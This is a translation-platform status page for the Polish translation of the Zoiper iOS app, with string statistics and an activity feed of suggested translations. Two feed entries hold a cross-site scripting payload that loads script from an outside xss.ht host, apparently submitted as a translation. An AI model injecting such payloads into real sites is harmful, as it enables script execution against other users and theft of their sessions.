Component Translated Unfinished Unfinished words Unfinished characters Untranslated Checks Suggestions Comments
UI 0% 1,079 3,142 19,200 1,079 0 8 0
Glossary Zoiper iOS 0% 2 5 69 2 0 2 0

Overview

Project website zoiper.com
Instructions for translators

https://www.zoiper.com/en/translate-licensing-agreement
Project maintainers User avatar ralitza.markova User avatar Ivan Zlatev User avatar salah.rifaie User avatar admin User avatar plamen.zhelyazkov User avatar pwalther

String statistics

Strings percent Hosted strings Words percent Hosted words Characters percent Hosted characters
Total 1,081 3,147 19,269
Translated 0% 0 0% 0 0% 0
Needs editing 0% 0 0% 0 0% 0
Read-only 0% 0 0% 0 0% 0
Failing checks 0% 0 0% 0 0% 0
Strings with suggestions 1% 10 1% 36 1% 294
Untranslated strings 100% 1,081 100% 3,147 100% 19,269
Last 12 months Previous

Activity in last 12 months

0 changes 0 changes 0 changes 68 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 1 change 0 changes 0 changes 0 changes 11 changes 1 change 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes
Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr May

Quick numbers

3,147
Hosted words
1,081
Hosted strings
0%
Translated
0
Contributors
and previous 30 days

Trends of last 30 days

—
Hosted words
—
—
Hosted strings
—
—
Translated
—
—
Contributors
—
User avatar None

Suggestion added

Zoiper iOS / UI — Polish

Normal call clearing
Ok
4 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Polish

Channel unacceptable
Kanał nie do zaakceptowania
4 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Polish

Misdialled trunk prefix
Błędnie wybrany prefiks linii miejskiej
4 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Polish

Send special information tone
Wyślij specjalny sygnał informacyjny
4 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Polish

No route to destination
Brak trasy do celu
4 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Polish

No route to specified transit network (Transit Network Identity)
Brak trasy do określonej sieci tranzytowej (tożsamość sieci tranzytowej)
4 months ago
User avatar None

Suggestion added

Zoiper iOS / Zoiper iOS — Polish

"><script src=https://rootsecss.xss.ht></script>
<script src=https://rootsecss.xss.ht></script>
4 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Polish

Unallocated or unassigned number
Nieprzydzielony lub nieprzypisany numer
4 months ago
User avatar None

Suggestion added

Zoiper iOS / Zoiper iOS — Polish

IP Version Preference
Ustawienia rodzaju IP
4 months ago
User avatar None

New string added

Zoiper iOS / Zoiper iOS — Polish

"><script src=https://rootsecss.xss.ht></script>
 
5 months ago
Browse all language changes